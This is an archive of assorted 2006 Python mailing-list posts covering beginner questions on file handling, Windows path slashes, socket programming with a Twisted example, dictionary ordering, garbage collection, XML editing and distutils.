student.kuleuven.be wrote: > Dear all, > > I am quite new to python. I would like to remove two lines from a file. The canonical way to do so (at least for text files - which is the case here) is : open the source file in read mode open a tmp file in write mode for each line in source file: if this line should be kept: write it to the tmp file close both files replace source file with tmp file (snip) > I would like to call this as > > myscript targetfile > > I have read sth about command line arguments. Perhaps I can cope with > that myself but help is also appreciated on that. import sys print sys.argv -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From python.list at tim.thechases.com Thu Oct 26 13:37:37 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 26 Oct 2006 12:37:37 -0500 Subject: [OT] Win32 and forward/backslashes (was "The format of filename") In-Reply-To: <4540E98A.2080400@probo.com> References: <4540B26D.1020609@tim.thechases.com> <4540E98A.2080400@probo.com> Message-ID: <4540F261.9060905@tim.thechases.com> Tim Roberts wrote: >> C:\temp\foo\bar>cd .. >> C:\temp\foo>cd .. >> C:\temp>cd /foo/bar > > This one does not work for me, but as long as the initial slash is back, > the rest can be foreward: > > C:\tmp>cd /foo/bar > The system cannot find the path specified. > C:\tmp>cd \foo/bar > C:\foo\bar> > > What OS are you running? Do you have the shell extensions enabled? The > latest cd does take a parameter (/d), so I wouldn't expect it to work. This is cmd.exe on XP (SP2) with shell extensions enabled. Note the subtle difference though...your "foo" is in the root directory...mine is in the current directory. My result of C:\temp>cd /foo/bar is C:\temp\foo\bar> not C:\foo\bar> >> C:\temp>cmd < foo/bar/pip >> [directory listing within a subshell] > > I'm also surprised by this one. I'll file this away for my next NT > trivia contest... You're a sick, sick fellow. :) I just stumbled across it while trying various shot-in-the-dark permutations of command calls with f-slashes and b-slashes in paths. >> C:\temp>cmd < /foo/bar/pip >> The system cannot find the path specified. And strangely, C:\temp>cmd < /temp/foo/bar/pip fails as well. In more misadventures: C:\temp>echo dir > zip C:\temp>move zip foo/bar C:\temp>dir /b foo\bar pip zip C:\temp>move foo/bar/zip . The system cannot find the path specified. Okay...MOVE likes it as a destination, but not as a source. Aaaggghh...If I had any hair, I'd be pulling it out. Move and copy are similar options. Let's try copy: C:\temp>move foo\bar\zip . C:\temp>copy zip foo/bar 1 file(s) copied. C:\temp>del zip C:\temp>copy foo/bar/zip . foo\zip 100% copied 1 file(s) copied. Of course! MOVE only accepts forward slashes in destinations, not the source. But COPY accepts either. Maybe? C:\temp>md foo\baz C:\temp>dir /s/b c:\temp\foo c:\temp\zip c:\temp\foo\bar c:\temp\foo\baz c:\temp\foo\zip c:\temp\foo\bar\pip c:\temp\foo\bar\zip There's no "zip" in the "baz" directory, so let's copy it there: C:\temp>copy foo/bar/zip foo/baz foo\zip Overwrite foo\zip? (Yes/No/All): y The file cannot be copied onto itself. 0 file(s) copied. What the [expletive]!? Well, there's a "zip" in our temp directory, but no "pip". How about we try copying "pip" to the "baz" directory instead while keeping the same syntax as above? C:\temp>copy foo/bar/pip foo/baz The syntax of the command is incorrect. BLOODY MADNESS! Some OS programmer doesn't seem to have graduated from their CompSci program... -tkc From blue99 at interia.pl Tue Oct 17 10:07:47 2006 From: blue99 at interia.pl (Rob Wolfe) Date: 17 Oct 2006 07:07:47 -0700 Subject: Looking for assignement operator In-Reply-To: References: Message-ID: <1161094067.861423.78250@e3g2000cwe.googlegroups.com> Alexander Eisenhuth wrote: > Hello, > > is there a assignement operator, that i can overwrite? You can't overwrite assignment operator, but you can overwrite methods of numeric objects: http://docs.python.org/ref/numeric-types.html HTH, Rob From hanumizzle at gmail.com Wed Oct 11 05:13:54 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 05:13:54 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> Message-ID: <463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com> On 10/11/06, Fredrik Lundh wrote: > can be a lot better than a 30-level traceback that ends with a line > looking something like > > fnut.index(gah) Despite long experience with Perl, I am not a big follower of the "goose_level: blah" method of error reporting... > also, checking for __method__ is, in general, not the right way to check > if an object implements a given interface. I had a vague feeling it might not be a Right Thing(tm). I kind of miss responds_to? > so if you can, try doing the operation instead, and catch error (if you > really need to check first, use an idempotent operation, if available). I'll do that as soon as my green noggin figures out what 'idempotent' means. Serves me right for being a liberal arts weenie: http://www.c2.com/cgi/wiki?ThaiLanguage -- Theerasak From bborcic at gmail.com Tue Oct 10 09:49:50 2006 From: bborcic at gmail.com (Boris Borcic) Date: Tue, 10 Oct 2006 15:49:50 +0200 Subject: Logic Programming In-Reply-To: <1160486539.646429.129230@i42g2000cwa.googlegroups.com> References: <1160486539.646429.129230@i42g2000cwa.googlegroups.com> Message-ID: <452ba52d_4@news.bluewin.ch> I believe some work has been down in pypy to bring logic programming to python. You might ask pypy-dev Google leads to http://codespeak.net/pypy/dist/pypy/doc/howto-logicobjspace-0.9.html From exarkun at divmod.com Wed Oct 4 22:50:03 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Wed, 4 Oct 2006 22:50:03 -0400 Subject: socket client server... simple example... not working... In-Reply-To: <1160015498.917617.256110@c28g2000cwb.googlegroups.com> Message-ID: <20061005025003.1717.1757623508.divmod.quotient.67728@ohm> On 4 Oct 2006 19:31:38 -0700, SpreadTooThin wrote: >client: > >import socket >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >s.connect(("192.168.1.101", 8080)) >print 'Connected' >s.send('ABCD') Here you didn't check the return value of send to determine if all of the string was copied to the kernel buffer to be sent, so you may have only succeeded in sending part of 'ABCD'. >buffer = s.recv(4) in the above call, 4 is the maximum number of bytes recv will return. It looks as though you are expecting it to return exactly 4 bytes, but in order to get that, you will need to check the length of the return value and call recv again with a lower limit until the combination of the return values of each call gives a total length of 4. >print buffer >s.send('exit') Again, you didn't check the return value of send. > > >server: > >serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >serversocket.bind(("192.168.1.101", 8080)) >serversocket.listen(5) >print 'Listen' >(clientsocket, address) = serversocket.accept() >print 'Accepted' >flag = True >while flag: > chunk = serversocket.recv(4) You're calling recv on serversocket instead of on clientsocket. You're also relying on recv to return exactly 4 bytes, which it may not do. > if chunk == '': > raise RuntimeError, "socket connection broken" > elif chunk == 'exit': > flag = False > else: > serversocket.send(chunk) Another missing check of the return value of send. >print 'Done' > >Server says! > >Listen >Accepted >Traceback (most recent call last): > File "server.py", line 11, in ? > chunk = serversocket.recv(4) >socket.error: (57, 'Socket is not connected') > > >Client says: >Connected > >What have I done wrong now! I recommend switching to Twisted. The Twisted equivalent (I guess - the protocol defined above is strange and complex (probably unintentionally, due to the things you left out, like any form of delimiter) and I doubt I really understand the end goal you are working towards), minus bugs (untested): # client.py from twisted.internet import reactor, protocol class Client(protocol.Protocol): buf = '' def connectionMade(self): self.transport.write('ABCD') def dataReceived(self, data): self.buf += data if len(self.buf) >= 4: reactor.stop() protocol.ClientCreator(reactor, Client).connectTCP('192.168.1.101', 8080) reactor.run() # server.py from twisted.internet import reactor, protocol class Server(protocol.Protocol): buf = '' def dataReceived(self, bytes): self.buf += bytes exit = self.buf.find('exit') if exit != -1: self.transport.write(self.buf[:exit]) self.buf = self.buf[exit + 4:] reactor.stop() else: self.transport.write(self.buf) self.buf = '' f = protocol.ServerFactory() f.protocol = Server reactor.listenTCP('192.168.1.101', 8080, f) reactor.run() Hope this helps, Jean-Paul From ptmcg at austin.rr._bogus_.com Sun Oct 29 23:31:45 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 30 Oct 2006 04:31:45 GMT Subject: looping through two list simultenously References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: "CSUIDL PROGRAMMEr" wrote in message news:1162153701.052043.160030 at h48g2000cwc.googlegroups.com... > folks > I have two lists > > i am trying to loop thorough them simultenously. > > Here is the code i am using > > f1 = os.popen('ls chatlog*.out') > data1=f1.readlines() > f1.close() > > data1=[x.strip() for x in data1] > f1 = os.popen('ls chatlog*.txt') > data=f1.readlines() > f1.close() > for eachline in data1 and line in data: Change: for eachline in data1 and line in data: to: for eachline, line in zip(data1,data): -- Paul From mike$#at^&nospam!%trauschus Fri Oct 27 08:34:28 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Fri, 27 Oct 2006 08:34:28 -0400 Subject: Tracing the execution of scripts? In-Reply-To: References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: <4t-dnT4vc4VKYdzYnZ2dnUVZ_rqdnZ2d@comcast.com> Stephan Kuhagen wrote: > "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote: > >> Basically, is there something that will log every line of Python code >> executed, in its order of execution, to a text file so that I can see >> what is (or isn't) happening that I am expecting? > > Python itself can do this for you. A __VERY__ simple approach: > [snip] > > Insert this in you program and you get a trace of every line of Python-Code > executed in the file trace.txt. You must read the documentation of the > module inspect and of sys.settrace() to understand, what happens and what > it means. Additionally, if it should work with threads, you must take care > that every thread gets its own output file. But as a first step to get a > trace of execution, this should do it. > I will need to keep this around to look at a little later. It looks like it would be something particularly useful when line-tracing by itself fails. I am constantly finding myself amazed at Python's capabilities. -- Mike From steve at holdenweb.com Tue Oct 24 21:02:59 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 02:02:59 +0100 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: pretoriano_2001 at hotmail.com wrote: > Hello: > I have next dictionaries: > a={'a':0, 'b':1, 'c':2, 'd':3} > b={'a':0, 'c':1, 'd':2, 'e':3} > I want to put in a new dictionary named c all the keys that are in b > and re-sequence the values. The result I want is: > c={'a':0, 'c':1, 'd':2} > How can I do this with one line of instruction? > You can't. Dictionaries aren't ordered collections. > I attempted the next but the output is not the expected: > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) > erroneously (for me) gets: > {'a': 0, 'c': 2, 'd': 3} > > Thanks for your help. > In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3} Sounds like you want an ordered dictionary. Several people have implemented such a beast, but I have never felt the need for one. Alternatively, perhaps the ordering of the elements isn't really important. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From hanumizzle at gmail.com Fri Oct 6 01:01:26 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 01:01:26 -0400 Subject: [Linux] Detect a key press In-Reply-To: <1160109947.304308.83910@i3g2000cwc.googlegroups.com> References: <1160109947.304308.83910@i3g2000cwc.googlegroups.com> Message-ID: <463ff4860610052201r414faf43i99a67e0f01b353a6@mail.gmail.com> On 5 Oct 2006 21:45:47 -0700, Jia,Lu wrote: > Hi all > I write a program to detect key press,but , why there is a *space* > before the character I typed.?? Puzzles me too, but I know this is really easy in Curses (on top of that, it isn't specific to Linux; curses works on many terminals) http://www.amk.ca/python/howto/curses/ -- Theerasak From python.list at tim.thechases.com Thu Oct 19 11:54:40 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 19 Oct 2006 10:54:40 -0500 Subject: Dictionaries again - where do I make a mistake? In-Reply-To: <1161272376.402525.188810@k70g2000cwa.googlegroups.com> References: <1161272376.402525.188810@k70g2000cwa.googlegroups.com> Message-ID: <45379FC0.1080800@tim.thechases.com> > but I can not create Newdict to be sorted properly. > > Where do I make a mistake? By assuming that dictionaries *can* be sorted. For more reading: http://aspn.activestate.com/ASPN/Python/Cookbook/Recipe/52306 http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/107747 They're intrinsically an unsorted datatype. -tkc From uche.ogbuji at gmail.com Fri Oct 6 14:13:10 2006 From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com) Date: 6 Oct 2006 11:13:10 -0700 Subject: File I/O In-Reply-To: <1159603138.898464.64040@k70g2000cwa.googlegroups.com> References: <1159524677.406011.250420@i3g2000cwc.googlegroups.com> <1159526934.077334.69080@i42g2000cwa.googlegroups.com> <1159527353.447436.107610@i42g2000cwa.googlegroups.com> <1159603138.898464.64040@k70g2000cwa.googlegroups.com> Message-ID: <1160158390.599232.145750@i42g2000cwa.googlegroups.com> Ant wrote: > Kirt wrote: > ... > > i dont wanna parse the xml file.. > > > > Just open the file as: > > > > f=open('test.xml','a') > > > > and append a line "abc" before tag > > The other guys are right - you should look at something like > ElementTree which makes this sort of thing pretty easy, and is robust. > But if you are sure that: > > 1) is going to be on its own line (rather than something like > ) > 2) the ending tag will *definitely* have no extraneous whitespace (e.g. > < / Top >) > > then the following will probably be the simplest solution: > > f=open('test.xml') > out = [] > for line in f: > if "" in line: > out.append("abc") > out.append(line") > > f.close() > > f_out = open("test.xml", "w") > f.write("".join(out)) > f_out.close() And the most dangerous solution. Start with the line "out.append(line")" And have a look at the many failure possibilities I detail here: http://www.xml.com/pub/a/2002/11/13/py-xml.html Then add to that the fact that "" can legitimately appear in an XML comment, so that logic is even more brittle. The following code does this *safely* with Amara: import amara doc = amara.parse('test.xml') top = doc.xml_xpath('//Top')[0] top.xml_parent.xml_insert_before(top, doc.xml_create_element(u'Body2', content=u'abc')) top.xml(stream=open('test.xml', 'w')) Amara: http://uche.ogbuji.net/tech/4suite/amara/ -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://fourthought.com http://copia.ogbuji.net http://4Suite.org Articles: http://uche.ogbuji.net/tech/publications/ From skip at pobox.com Tue Oct 31 13:23:39 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 31 Oct 2006 12:23:39 -0600 Subject: "best" rational number library for Python? In-Reply-To: <7xvem0nyff.fsf@ruckus.brouhaha.com> References: <7xvem0nyff.fsf@ruckus.brouhaha.com> Message-ID: <17735.38059.44204.665906@montanaro.dyndns.org> Paul> There are certainly some of those around, but I'm surprised Paul> there's a problem with GMP and Solaris. That was my thought as well. Skip From katy.n.jac at gmail.com Mon Oct 23 00:33:44 2006 From: katy.n.jac at gmail.com (Jac) Date: Mon, 23 Oct 2006 13:33:44 +0900 Subject: sigmaplot key Message-ID: key for sigmaplot 10 please -------------- next part -------------- An HTML attachment was scrubbed... URL: From http Wed Oct 25 14:24:51 2006 From: http (Paul Rubin) Date: 25 Oct 2006 11:24:51 -0700 Subject: cleaner way to write this? References: Message-ID: <7xac3kb6do.fsf@ruckus.brouhaha.com> John Salerno writes: > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > dlg.Destroy() > return db_name > else: > dlg.Destroy() > return I like if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() else: db_name = None dlg.Destroy() return db_name better than db_name = None if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() dlg.Destroy() return db_name but I suppose it's a matter of preference. From bignose+hates-spam at benfinney.id.au Tue Oct 24 19:46:44 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 09:46:44 +1000 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> <453E4F0D.9050809@v.loewis.de> Message-ID: <87wt6pnuor.fsf@benfinney.id.au> "Martin v. L?wis" writes: > In my experience [...] it's either the original author who provides > binaries, or none are provided. People certainly build it > themselves, but then never share. IIRC, the early days of Mozilla (after the code was released as free software) had the developers releasing source code, and the community providing binary builds. Battle for Wesnoth also works this way. > There are exceptions, of course: when communities are built. There > is no question that binaries are available with the Linux > distributions, and the various Sun, HP, IBM, Darwinports, etc. free > software sites also have an established contributorship. For > Windows, such communities apparently don't form, for some reason. All the cases I can recall are for projects where the code is designed to work on multiple architectures without much tweaking. So it seems to fit this case fine. -- \ "God forbid that any book should be banned. The practice is as | `\ indefensible as infanticide." -- Dame Rebecca West | _o__) | Ben Finney From deets at nospam.web.de Fri Oct 6 07:10:47 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 06 Oct 2006 13:10:47 +0200 Subject: Skullsocks to the rescue - was [irrelevant squabble of IL] In-Reply-To: References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: <4omrtoFf9r6gU1@uni-berlin.de> Fredrik Lundh schrieb: > Diez B. Roggisch wrote: > >> This is on the same level of interest to the communities of python, >> ruby & java as the color of my socks this morning - a deep black with >> cute little skulls imprinted. > > are they perhaps red or green? and look something like the skulls on this: Due to the unexpected interest in my foot-garments, I here present an image of my current collection of skullsocks(tm) http://www.roggisch.de/img/skullsocks.jpg They can be bought at our friendly swedish clothes retailer, H&M. Have a nice day :) Diez From evilrottenspawn at gmail.com Sat Oct 14 19:42:43 2006 From: evilrottenspawn at gmail.com (spawn) Date: 14 Oct 2006 16:42:43 -0700 Subject: Ok. This IS homework ... References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> <1160867758.584637.101360@m73g2000cwd.googlegroups.com> Message-ID: <1160869363.651855.204820@i3g2000cwc.googlegroups.com> > Also, you never break out of your deepest loop, why are you using two > nested infinite-loops anyway? > > Regards, > Brett Hoerner Ummmmmm ..because I'm new to programming? Actually, they do end. If I move my "guess" variable outside the outermost loop, then it becomes infinte. I know, I tried it. You guys are fast! I'll reread my documentation and try a few more thing (I kept telling myself that running_total and subotal don't need to be different variables!) and see what I get. As for that last post (I don't remember your name), ummmmmm ... WOW! This is BEGINNING Python. That looks far too advanced for me. From buzzard at urubu.freeserve.co.uk Sat Oct 7 20:14:47 2006 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Sun, 08 Oct 2006 01:14:47 +0100 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160262952.734016.306150@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> Message-ID: <452846fe.0@entanet> MonkeeSage wrote: > On Oct 7, 12:37 pm, Fredrik Lundh wrote: > >>for what? > > > key in self.keys() > [snip] No. The above constructs a list of keys and searches the list for the key, O(n). "key in somedict" is a lookup, O(1). Duncan From chris at kateandchris.net Thu Oct 12 11:26:39 2006 From: chris at kateandchris.net (Chris Lambacher) Date: Thu, 12 Oct 2006 11:26:39 -0400 Subject: is there an easy way to create a database on the fly and let the user input values In-Reply-To: <1160628277.112881.211410@h48g2000cwc.googlegroups.com> References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com> Message-ID: <20061012152639.GB32447@kateandchris.net> I've heard good things about Dabo: http://dabodev.com/ On Wed, Oct 11, 2006 at 09:44:37PM -0700, Eric_Dexter at msn.com wrote: > I don't realy care what database I use wx.grid or whatever. I > wan't it to look at a line > > 128 9023 23428 exc and create the database or pick something out of the > file as some sort of a descrition line and then display and allow the > user to change and add new lines. What is the easiest set of database > routines to use for such a project??? > > http://www.dexrow.com > > -- > http://mail.python.org/mailman/listinfo/python-list From pavlovevidence at gmail.com Fri Oct 20 11:15:03 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 20 Oct 2006 08:15:03 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <1161357303.082828.102550@m7g2000cwm.googlegroups.com> skip at pobox.com wrote: > The extended slice notation comes from the > numeric community though where they are probably all former FORTRAN > programmers. I think the concept of start, stop, step (or stride?) is > pretty common there. Yep. I do a bit of numerical work and the meaning of abc[::-1] is plain as day to me. One thing I'd like to point out is that few people seem to be thrown off when slices are used to twiddle list elements. A few days back there was a thread about reordering a list such as [1,2,3,4,5,6,7,8,9] as [1,4,7,2,5,8,3,6,9], and the advice was along the lines of a[0::3]+a[1::3]+a[2::3]. I don't remember any complaints about the the notation there. I think the problem here isn't the slice notation; it's the use of slice notation for something that seems conceptually distinct. People who aren't used to doing a lot of slicing don't always have the connection between "reversing" and "slicing" in mind. It wouldn't occur to them to accomplish a reverse with a slice, and it would surprise them a bit to see it. Carl From snaury at gmail.com Sat Oct 14 20:25:01 2006 From: snaury at gmail.com (Alexey Borzenkov) Date: 14 Oct 2006 17:25:01 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160870083.987602.52690@f16g2000cwb.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160867101.267052.113280@h48g2000cwc.googlegroups.com> <1160870083.987602.52690@f16g2000cwb.googlegroups.com> Message-ID: <1160871901.154291.141030@f16g2000cwb.googlegroups.com> bearophileHUGS at lycos.com wrote: > but maybe it reduces code readabilty a bit for people > that have just started to program: > > mul2 = def(a, b): > return a * b > > Instead of: > > def mul2(a, b): > return a * b For such simple cases, yes. What about: button.click += def(obj): # do stuff You obviously can't: def button.click(obj): # do stuff :-) And if you make intermediate function and then assign it somewhere, it "pollutes namespace": it's still left there, unneeded. From fredrik at pythonware.com Sun Oct 8 17:19:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 23:19:11 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <452966A2.1090107@v.loewis.de> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> <452966A2.1090107@v.loewis.de> Message-ID: Martin v. L?wis wrote: >>From my experience with GCC, I can only report that this is definitely > not working. There used to be a mailing list bugs at gcc.gnu.org, and > reports got either answered immediately, or not at all. People who > thought they were responsible put the mails in some folder, and then > never found the time to come back. you need tools to help you track the bugs and their status, but you can handle issue registration, discussion, and most maintenance stuff using good old mail just fine. From martin at v.loewis.de Mon Oct 9 18:41:17 2006 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Tue, 10 Oct 2006 00:41:17 +0200 Subject: distutils: optionally build C bindings to an external library In-Reply-To: References: Message-ID: <452AD00D.8000103@v.loewis.de> Kirill Simonov schrieb: > I've written a pure Python module, which could optionally use an > external C library. The external library is not required to be on the > user computer however, so I'd like not to build the bindings by default, > but allow a user to turn the build on by specifying some parameter to > `setup.py`. Basically, it should work like > ./configure --with-some-lib[=/path] > > Unfortunately I'm not quite sure how to implement this and I'm already > lost in the distutils internals. Could someone point me to the correct > direction, perhaps giving me a reference to an existing distutils > script? You can add any parameters to setup.py yourself; just look for the parameter, and then remove it from argv before invoking distutils. It would be even better if the user wouldn't have to specify the location, but instead setup.py looked at a few candidate places itself. If you really want to use the distutils command line option processing machinery, you should inherit from the build command, extend user_options (by putting a new user_options into the subclass, rather than appending to the user_options of the base class), and overwrite initialize_options and finalize_options (calling the base class). If "build" is too broad, "build_ext" might be the better place. Regards, Martin From onurb at xiludom.gro Mon Oct 2 06:31:04 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 02 Oct 2006 12:31:04 +0200 Subject: [OT] windev vs python SOS In-Reply-To: References: <0001HW.C14424C100B023CEF0488530@news.individual.de><1159632848.993229.58300@m7g2000cwm.googlegroups.com> <4520d2c7$0$2782$636a55ce@news.free.fr> Message-ID: <4520ea69$0$2292$626a54ce@news.free.fr> Fredrik Lundh wrote: > Bruno Desthuilliers wrote: > >> Amanda wrote: >> (snip) >>> I am always amazed when I meet fanatics!! >> I'm always amazed when I meet PC-Soft's salespersons... > > isn't there some non-python forum where you can sort this one out ? Yes, you're right, sorry... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From deets at nospam.web.de Mon Oct 16 12:42:00 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Mon, 16 Oct 2006 18:42:00 +0200 Subject: Strange Behavior References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> <1161009601.471687.279310@m7g2000cwm.googlegroups.com> Message-ID: <4phr2oFj1ecvU1@uni-berlin.de> abcd wrote: > Rob Williscroft wrote: >> http://docs.python.org/ref/function.html#l2h-619 > > > thanks. weird that it works that way since they even state "This is > generally not what was intended." The "not intended" refers to the programmer making the mistake of creating a shared instance - which usually isn't intended, as you yourself are an example of. Diez From uche.ogbuji at gmail.com Tue Oct 10 10:30:36 2006 From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com) Date: 10 Oct 2006 07:30:36 -0700 Subject: WSGI - How Does It Affect Me? In-Reply-To: <1160363775.763070.209140@c28g2000cwb.googlegroups.com> References: <1160363775.763070.209140@c28g2000cwb.googlegroups.com> Message-ID: <1160490636.099166.10480@e3g2000cwe.googlegroups.com> goon wrote: > > Trying to research this on the web now > > Lots of articles now appearing summarising WSGI ... > > For definitive reference: > > [0] > > Overview: > > [1] and > [2] And also the following article, by me, focusing on middleware: http://www.ibm.com/developerworks/library/wa-wsgi/ (cover Weblog entry: http://copia.ogbuji.net/blog/2006-08-23/_Mix_and_m ) -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://fourthought.com http://copia.ogbuji.net http://4Suite.org Articles: http://uche.ogbuji.net/tech/publications/ From tim.peters at gmail.com Thu Oct 5 21:20:03 2006 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 5 Oct 2006 21:20:03 -0400 Subject: Question about turning off garbage collection In-Reply-To: <4525ABE9.7020000@ilm.com> References: <4525ABE9.7020000@ilm.com> Message-ID: <1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com> [David Hirschfield] > Question from a post to pygtk list...but it probably would be better > answered here: > > I encountered a nasty problem with an external module conflicting with > my python threads recently, and right now the only fix appears to be to > turn off garbage collection while the critical code of the thread is > running, and then turn it back on afterwards. > > Now, I don't know much about how the garbage collector works in python, > and in order to get the thread to run without freezing, I'm wrapping the > threaded processing function with calls to gc.disable()/gc.enable(). > > So what's that going to do? Stop the /cyclic/ garbage-collection algorithm from running for as long as it remains disabled. Most garbage collection in Python, in typical applications most of the time, is done by reference counting, and /that/ can never be disabled. Reference counting alone is not strong enough to detect trash objects in cycles (like A points to B and B points to A and nothing else points to either; they're unreachable trash then, but the reference count on each remains 1). The `gc` module controls cyclic garbage collection, which is a distinct subsystem used to find and reclaim the trash cycles reference counting can't find on its own. > Will calling gc.enable() put things in good shape? Will all objects created while > the garbage collector was off now be un-collectable? No. It has no effect except to /suspend/ running the cyclic gc subsystem for the duration. Trash related to cycles will pile up for the duration. That's all. > I'm extremely wary of this solution, as I think anyone would be. I don't want a > suddenly super-leaky app. As above, most garbage should continue to get collected regardless. > Comments? Suggestions? (I know, I know, avoid threads...if only I could) Nothing wrong with threads. My only suggestion is to dig deeper into /why/ something goes wrong when cyclic gc is enabled. That smells of a serious bug, so that disabling cyclic gc is just papering over a symptom of a problem that will come back to bite you later. For example, if some piece of code in an extension module isn't incrementing reference counts when it should, that could /fool/ cyclic gc into believing an object is trash /while/ the extension module believes it has a valid pointer to it. If so, that would be a serious bug in the extension module. Enabling cyclic gc should not create problems for any correctly written C code. From steve at REMOVE.THIS.cybersource.com.au Sat Oct 7 20:59:06 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 08 Oct 2006 10:59:06 +1000 Subject: Can't get around "IndexError: list index out of range" References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> Message-ID: On Sat, 07 Oct 2006 17:25:15 -0700, MonkeeSage wrote: > My point wasn't in regard to implementation details, but in regard to > convenience methods. Obviously the sugary dict methods are tweaked for > the best performance (one would hope!), as would be sugary sequence > methods were they to be added. What I was wondering is why > dict.has_key() and get() are there but not list.has_index() and get(). Because they aren't needed often, and when they are, they are easy to implement? Instead of list.has_index(n), write 0 <= n < len(list). If you want to allow for negative indices as well, write -len(list) <= n < len(list). It is hard to see where list.get(index, default) would be useful, since accessing an index out of range of a list is generally an error, unlike accessing a missing key. But I like symmetry, and for symmetry I wouldn't object to sequences gaining a get method too. Not that I care about it enough to put in a feature request or a PEP, but if somebody else did, I wouldn't object. (Note, though, that accessing a *slice* out of range is not an error, but returns an empty list.) get() is easy enough to implement. Feel free to turn it into a method of a collection class if you like. def get(mapping_or_sequence, key_or_index, default=None): try: return mapping_or_sequence.get(key_or_index, default) except AttributeError: # probably a sequence try: return mapping_or_sequence[key_or_index] except IndexError: return default Not every piece of functionality needs to be a built-in. -- Steven. From fredrik at pythonware.com Thu Oct 26 05:22:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 11:22:33 +0200 Subject: Printing Hidden Character in Python References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net><87ejsvihaj.fsf@benfinney.id.au> <3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net> Message-ID: "Wijaya Edward" wrote: > I mean while opening a file, like this > > for line in open('somefile.txt'): > print line > > printing "line" will not show the hidden chars like "\n","\r". > Is there a way to print it out? print repr(line) From clodoaldo.pinto at gmail.com Wed Oct 4 15:28:42 2006 From: 